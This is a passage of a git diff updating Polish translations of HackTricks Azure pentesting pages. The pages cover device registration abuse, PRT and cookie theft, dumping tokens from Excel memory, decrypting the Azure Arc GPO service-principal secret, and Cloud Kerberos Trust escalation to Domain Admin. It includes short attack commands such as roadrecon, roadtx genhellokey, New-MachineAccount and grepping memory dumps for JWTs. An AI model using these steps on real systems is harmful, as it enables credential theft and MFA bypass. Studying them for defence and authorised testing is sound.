Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Używane do uzyskiwania dostępu do przestarzałego Azure AD Graph API (dezaktywowane), które pozwala aplikacjom na odczyt i zapis danych katalogowych w Azure Active Directory (Azure AD). - `https://graph.windows.net/` * **arm (Azure Resource Manager)**: Używane do zarządzania zasobami Azure za pośrednictwem API Azure Resource Manager. Obejmuje operacje takie jak tworzenie, aktualizowanie i usuwanie zasobów, takich jak maszyny wirtualne, konta magazynowe i inne. @@ -83,7 +83,7 @@ Polecenie `az account get-access-token --resource-type [...]` obsługuje następ * **ms-graph (Microsoft Graph API)**: Używane do uzyskiwania dostępu do Microsoft Graph API, zjednoczonego punktu końcowego dla danych usług Microsoft 365. Umożliwia dostęp do danych i informacji z usług takich jak Azure AD, Office 365, Enterprise Mobility i usługi bezpieczeństwa. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych relacyjnych, takich jak MySQL, PostgreSQL i MariaDB. +- **oss-rdbms (Azure Open Source Relational Databases)**: Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych, takich jak MySQL, PostgreSQL i MariaDB. - `https://ossrdbms-aad.database.windows.net`
@@ -146,9 +146,9 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -Wcześniej wspomniano, że tokeny odświeżania powinny być powiązane z **zakresami**, z którymi zostały wygenerowane, z **aplikacją** i **dzierżawą**, do której zostały wygenerowane. Jeśli jakakolwiek z tych granic zostanie naruszona, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano. +Wcześniej wspomniano, że tokeny odświeżania powinny być powiązane z **zakresami**, z którymi zostały wygenerowane, z **aplikacją** i **dzierżawą**, do której zostały wygenerowane. Jeśli jakikolwiek z tych ograniczeń zostanie naruszony, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano. -Co więcej, **jest to możliwe ze wszystkimi tokenami odświeżania** w [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (konta Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają [**dokumenty**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Tokeny odświeżania są powiązane z kombinacją użytkownika i klienta, ale **nie są powiązane z zasobem ani dzierżawą**. Klient może użyć tokenu odświeżania do uzyskania tokenów dostępu **w dowolnej kombinacji zasobów i dzierżaw**, gdzie ma na to pozwolenie. Tokeny odświeżania są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać." +Co więcej, **jest to możliwe z wszystkimi tokenami odświeżania** w [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (konta Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają [**dokumenty**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Tokeny odświeżania są powiązane z kombinacją użytkownika i klienta, ale **nie są powiązane z zasobem ani dzierżawą**. Klient może użyć tokena odświeżania do uzyskania tokenów dostępu **w dowolnej kombinacji zasobów i dzierżaw**, gdzie ma na to pozwolenie. Tokeny odświeżania są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać." Ponadto, należy zauważyć, że aplikacje FOCI są aplikacjami publicznymi, więc **żaden sekret nie jest potrzebny** do uwierzytelnienia na serwerze. diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index ee5440f5c..c925f83ad 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,16 +1,16 @@ -# Az - Rejestracja urządzenia +# Az - Rejestracja Urządzenia {{#include ../../banners/hacktricks-training.md}} -## Podstawowe informacje +## Podstawowe Informacje Gdy urządzenie dołącza do AzureAD, nowy obiekt jest tworzony w AzureAD. -Podczas rejestracji urządzenia **użytkownik jest proszony o zalogowanie się na swoje konto** (prosząc o MFA, jeśli to konieczne), następnie żąda tokenów dla usługi rejestracji urządzenia, a potem prosi o ostateczne potwierdzenie. +Podczas rejestracji urządzenia, **użytkownik jest proszony o zalogowanie się na swoje konto** (prosząc o MFA, jeśli to konieczne), następnie żąda tokenów dla usługi rejestracji urządzenia, a potem prosi o ostateczne potwierdzenie. -Następnie w urządzeniu generowane są dwie pary kluczy RSA: **klucz urządzenia** (**klucz publiczny**), który jest wysyłany do **AzureAD**, oraz **klucz transportowy** (**klucz prywatny**), który jest przechowywany w TPM, jeśli to możliwe. +Następnie generowane są dwie pary kluczy RSA w urządzeniu: **klucz urządzenia** (**publiczny** klucz), który jest wysyłany do **AzureAD**, oraz **klucz transportowy** (**prywatny** klucz), który jest przechowywany w TPM, jeśli to możliwe. -Następnie **obiekt** jest generowany w **AzureAD** (nie w Intune), a AzureAD zwraca do urządzenia **certyfikat** podpisany przez siebie. Możesz sprawdzić, że **urządzenie jest dołączone do AzureAD** oraz informacje o **certyfikacie** (np. czy jest chroniony przez TPM). +Następnie, **obiekt** jest generowany w **AzureAD** (nie w Intune) i AzureAD zwraca do urządzenia **certyfikat** podpisany przez siebie. Możesz sprawdzić, że **urządzenie jest dołączone do AzureAD** oraz informacje o **certyfikacie** (jak na przykład, czy jest chroniony przez TPM). ```bash dsregcmd /status ``` @@ -25,9 +25,9 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module **TPM** **chroni** przed **ekstrakcją** klucza z wyłączonego urządzenia (jeśli jest chronione PIN-em) oraz przed ekstrakcją prywatnych materiałów z warstwy systemu operacyjnego.\ -Jednak **nie chroni** przed **podsłuchiwaniem** fizycznego połączenia między TPM a CPU ani przed **używaniem materiałów kryptograficznych** w TPM, gdy system działa z procesu z prawami **SYSTEM**. +Jednak **nie chroni** przed **podsłuchiwaniem** fizycznego połączenia między TPM a CPU lub **używaniem materiałów kryptograficznych** w TPM, gdy system działa z procesu z prawami **SYSTEM**. -Jeśli sprawdzisz następującą stronę, zobaczysz, że **kradzież PRT** może być użyta do uzyskania dostępu jako **użytkownik**, co jest świetne, ponieważ **PRT znajduje się na urządzeniach**, więc może być skradziony z nich (lub jeśli nie zostanie skradziony, nadużyty do generowania nowych kluczy podpisujących): +Jeśli sprawdzisz następującą stronę, zobaczysz, że **kradzież PRT** może być użyta do uzyskania dostępu jak **użytkownik**, co jest świetne, ponieważ **PRT znajduje się na urządzeniach**, więc może być z nich skradziony (lub jeśli nie zostanie skradziony, nadużyty do generowania nowych kluczy podpisujących): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Który da ci **certyfikat, którego możesz użyć, aby w przyszłości prosić o PRT**. Dlatego utrzymując trwałość i **omijając MFA**, ponieważ oryginalny token PRT użyty do rejestracji nowego urządzenia **już miał przyznane uprawnienia MFA**. +Który da ci **certyfikat, którego możesz użyć do żądania PRT w przyszłości**. Dlatego utrzymując trwałość i **omijając MFA**, ponieważ oryginalny token PRT użyty do rejestracji nowego urządzenia **już miał przyznane uprawnienia MFA**. > [!TIP] > Zauważ, że aby przeprowadzić ten atak, będziesz potrzebować uprawnień do **rejestrowania nowych urządzeń**. Ponadto rejestracja urządzenia nie oznacza, że urządzenie będzie **dopuszczone do rejestracji w Intune**. @@ -71,7 +71,7 @@ Możliwe było **zażądanie biletu urządzenia**, **nadpisanie** aktualnego bil Podsumowanie ataku: - Możliwe jest **nadpisanie** **zarejestrowanego klucza WHFB** z **urządzenia** za pomocą SSO -- To **łamało ochronę TPM**, ponieważ klucz jest **przechwytywany podczas generowania** nowego klucza +- To **łama ochronę TPM**, ponieważ klucz jest **przechwytywany podczas generowania** nowego klucza - To również zapewnia **trwałość**
@@ -82,7 +82,7 @@ Następnie możliwe jest wygenerowanie nowego klucza za pomocą: ```bash roadtx genhellokey -d -k tempkey.key ``` -a następnie ZAAKTUALIZUJ informacje o searchableDeviceKey: +a następnie PATCH informacje o searchableDeviceKey:
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 19fbfc070..041a38d73 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -28,12 +28,12 @@ Istnieją różne sposoby, w jakie maszyna może być połączona z chmurą: W Azure AD istnieją różne typy tokenów z określonymi ograniczeniami: -- **Tokeny dostępu**: Używane do uzyskiwania dostępu do API i zasobów, takich jak Microsoft Graph. Są powiązane z określonym klientem i zasobem. +- **Tokeny dostępu**: Używane do uzyskiwania dostępu do interfejsów API i zasobów, takich jak Microsoft Graph. Są powiązane z określonym klientem i zasobem. - **Tokeny odświeżania**: Wydawane aplikacjom w celu uzyskania nowych tokenów dostępu. Mogą być używane tylko przez aplikację, do której zostały wydane, lub grupę aplikacji. - **Główne tokeny odświeżania (PRT)**: Używane do jednolitych logowań na urządzeniach dołączonych do Azure AD, zarejestrowanych lub dołączonych w trybie hybrydowym. Mogą być używane w procesach logowania w przeglądarkach oraz do logowania się do aplikacji mobilnych i desktopowych na urządzeniu. - **Klucze Windows Hello for Business (WHFB)**: Używane do uwierzytelniania bezhasłowego. Służą do uzyskiwania głównych tokenów odświeżania. -Najciekawszym typem tokenu jest Główny Token Odświeżania (PRT). +Najciekawszym typem tokenu jest główny token odświeżania (PRT). {{#ref}} az-primary-refresh-token-prt.md @@ -44,8 +44,8 @@ az-primary-refresh-token-prt.md Z **skompromitowanej maszyny do chmury**: - [**Pass the Cookie**](az-pass-the-cookie.md): Kradnij ciasteczka Azure z przeglądarki i używaj ich do logowania -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Zrzucaj pamięć lokalnych procesów zsynchronizowanych z chmurą (jak excel, Teams...) i znajdź tokeny dostępu w postaci czystego tekstu. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishinguj PRT, aby go nadużyć +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Zrzucaj pamięć lokalnych procesów zsynchronizowanych z chmurą (takich jak excel, Teams...) i znajdź tokeny dostępu w postaci czystego tekstu. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing PRT w celu jego nadużycia - [**Pass the PRT**](pass-the-prt.md): Kradnij PRT urządzenia, aby uzyskać dostęp do Azure, podszywając się pod nie. - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generuj certyfikat na podstawie PRT, aby zalogować się z jednej maszyny na drugą diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index ce90f2fe8..7af27fe58 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Identyfikacja problemów -Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 i AzureArcDeployment.psm1. +Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 oraz AzureArcDeployment.psm1. Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności: 1. Tworzy GPO Onboarding Serwerów Azure Arc w lokalnej domenie. 2. Kopiuje skrypt onboardingu EnableAzureArc.ps1 do wyznaczonego udziału sieciowego utworzonego na potrzeby procesu onboardingu, który zawiera również pakiet instalacyjny Windows. -Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Dodatkowo wymaga innych parametrów, takich jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu. +Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: **ServicePrincipalId** oraz **ServicePrincipalClientSecret**. Dodatkowo wymagane są inne parametry, takie jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu. -Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskryptor składa się z SID-ów grup Komputerów Domenowych i Kontrolerów Domeny, zapewniając, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu. +Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskryptor składa się z SID-ów grup Komputerów Domenowych i Kontrolerów Domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -35,7 +35,7 @@ Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęs Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -Po uzyskaniu konta maszyny możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe. +Gdy konto maszyny zostanie uzyskane, możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -54,7 +54,7 @@ $ebs ``` Alternatywnie, możemy użyć [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -W tym momencie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym folderze co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal. +Na tym etapie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym zasobie sieciowym co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 8bb4bb6f3..2f62bf4a7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Dlaczego ciasteczka? -Ciasteczka **przeglądarki** to doskonały mechanizm do **obejścia uwierzytelniania i MFA**. Ponieważ użytkownik już uwierzytelnił się w aplikacji, sesyjne **ciasteczko** może być użyte do **dostępu do danych** jako ten użytkownik, bez potrzeby ponownego uwierzytelniania. +Ciasteczka **przeglądarki** to doskonały mechanizm do **obejścia uwierzytelniania i MFA**. Ponieważ użytkownik już uwierzytelnił się w aplikacji, **ciasteczko** sesji może być użyte do **dostępu do danych** jako ten użytkownik, bez potrzeby ponownego uwierzytelniania. Możesz zobaczyć, gdzie znajdują się **ciasteczka przeglądarki** w: @@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Atak -Wyzwanie polega na tym, że te **ciasteczka są szyfrowane** dla **użytkownika** za pomocą Microsoft Data Protection API (**DPAPI**). Jest to szyfrowane przy użyciu kryptograficznych [kluczy powiązanych z użytkownikiem](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), do którego należą ciasteczka. Więcej informacji na ten temat można znaleźć w: +Wyzwanie polega na tym, że te **ciasteczka są szyfrowane** dla **użytkownika** za pomocą Microsoft Data Protection API (**DPAPI**). Jest to szyfrowane za pomocą kryptograficznych [kluczy powiązanych z użytkownikiem](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), do którego należą ciasteczka. Więcej informacji na ten temat znajdziesz w: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 75c32d4bc..4701f9f85 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -1,16 +1,16 @@ -# Az - Processes Memory Access Token +# Az - Procesy Token Dostępu do Pamięci {{#include ../../../banners/hacktricks-training.md}} -## **Podstawowe informacje** +## **Podstawowe Informacje** -Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Tak więc, po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie pod kątem tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA. +Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Tak więc, po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA. Kroki: 1. Zrzutuj procesy excela synchronizowane z użytkownikiem EntraID za pomocą swojego ulubionego narzędzia. 2. Uruchom: `string excel.dmp | grep 'eyJ0'` i znajdź kilka tokenów w wynikach -3. Znajdź tokeny, które najbardziej cię interesują, i uruchom nad nimi narzędzia: +3. Znajdź tokeny, które najbardziej cię interesują i uruchom narzędzia na nich: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 3cdd37148..b55a342dd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -17,30 +17,30 @@ Dlatego, jeśli to konto zostanie skompromitowane, możliwe byłoby podszywanie ### Kerberos TGT -Co więcej, gdy użytkownik uwierzytelnia się w systemie Windows, używając tożsamości hybrydowej, **Azure AD wyda częściowy bilet Kerberos wraz z PRT.** TGT jest częściowy, ponieważ **AzureAD ma ograniczone informacje** o użytkowniku w lokalnym AD (takie jak identyfikator zabezpieczeń (SID) i nazwa).\ +Ponadto, gdy użytkownik uwierzytelnia się w systemie Windows, korzystając z tożsamości hybrydowej, **Azure AD** wyda **częściowy bilet Kerberos wraz z PRT.** TGT jest częściowy, ponieważ **AzureAD ma ograniczone informacje** o użytkowniku w lokalnym AD (takie jak identyfikator zabezpieczeń (SID) i nazwa).\ Windows może następnie **wymienić ten częściowy TGT na pełne TGT**, żądając biletu usługi dla usługi `krbtgt`. ### NTLM -Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego przy użyciu drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego głównym kluczem `krbtgt`, **w tym NT hash w odpowiedzi**. +Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego przy użyciu drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego głównym kluczem `krbtgt` **w tym hasz NT w odpowiedzi**. -## Wykorzystywanie Cloud Kerberos Trust do uzyskania uprawnień Domain Admin +## Wykorzystywanie zaufania Cloud Kerberos do uzyskania uprawnień Domain Admin -Gdy AzureAD generuje **częściowe TGT**, będzie używać szczegółów, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, przy żądaniu TGT dla tego użytkownika **identyfikator zabezpieczeń byłby inny**. +Gdy AzureAD generuje **częściowe TGT**, będzie korzystać z danych, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, podczas żądania TGT dla tego użytkownika **identyfikator zabezpieczeń byłby inny**. -Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizowania synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID. +Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizacji synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID. Zauważ, że możemy to zrobić z AADInternals i zaktualizować synchronizowanych użytkowników za pomocą polecenia [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). ### Wymagania wstępne ataku -Sukces ataku i uzyskanie uprawnień Domain Admin zależy od spełnienia pewnych wymagań wstępnych: +Sukces ataku i uzyskanie uprawnień Domain Admin zależy od spełnienia określonych wymagań wstępnych: -- Możliwość zmiany kont za pomocą Synchronization API jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Hybrid Identity Administrator byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i ustanawiania nowych kont synchronizacji. +- Zdolność do zmiany kont za pomocą API Synchronizacji jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Administratora Tożsamości Hybrydowej byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i tworzenia nowych kont synchronizacji. - Obecność **konta hybrydowego** jest niezbędna. To konto musi być podatne na modyfikację danymi ofiary i powinno być również dostępne do uwierzytelnienia. -- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych identyfikatorów zabezpieczeń lokalnych, co wymaga modyfikacji konta niesynchronizowanego, aby uzyskać bilet. -- Dodatkowo, to konto powinno posiadać uprawnienia równoważne uprawnieniom administratora domeny, ale nie powinno być członkiem typowych grup administratorów AD, aby uniknąć generowania nieprawidłowych TGT przez AzureAD RODC. -- Najlepszym celem jest **konto Active Directory używane przez usługę AD Connect Sync**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji hashy haseł (zakładając, że synchronizacja hashy haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. W przypadku domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami do replikacji katalogu na obiekcie domeny. +- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych identyfikatorów zabezpieczeń lokalnych, co wymaga modyfikacji niesynchronizowanego konta, aby uzyskać bilet. +- Dodatkowo, to konto powinno posiadać uprawnienia równoważne uprawnieniom administratora domeny, ale nie powinno być członkiem typowych grup administratorów AD, aby uniknąć generowania nieprawidłowych TGT przez RODC AzureAD. +- Najlepszym celem jest **konto Active Directory używane przez usługę synchronizacji AD Connect**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji skrótów haseł (zakładając, że synchronizacja haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. Dla domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami replikacji katalogu na obiekcie domeny. ### Pełny atak diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 2b7ca3168..efd3a15bb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -4,6 +4,6 @@ **Sprawdź technikę w:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) i [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala Administratorom Aplikacji lub skompromitowanym Kontom Synchronizacji On-Premise na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w obsłudze aplikacji i zasad usług, szczególnie dotyczy domyślnych aplikacji Office 365. Chociaż zgłoszona, kwestia ta nie jest uważana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administratora. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń zasad usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu. +Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala administratorom aplikacji lub skompromitowanym kontom synchronizacji lokalnej na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w zakresie obsługi aplikacji i głównych usług, szczególnie dotyczy domyślnych aplikacji Office 365. Mimo że zgłoszona, kwestia ta nie jest uznawana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administracyjnych. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń głównych usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md 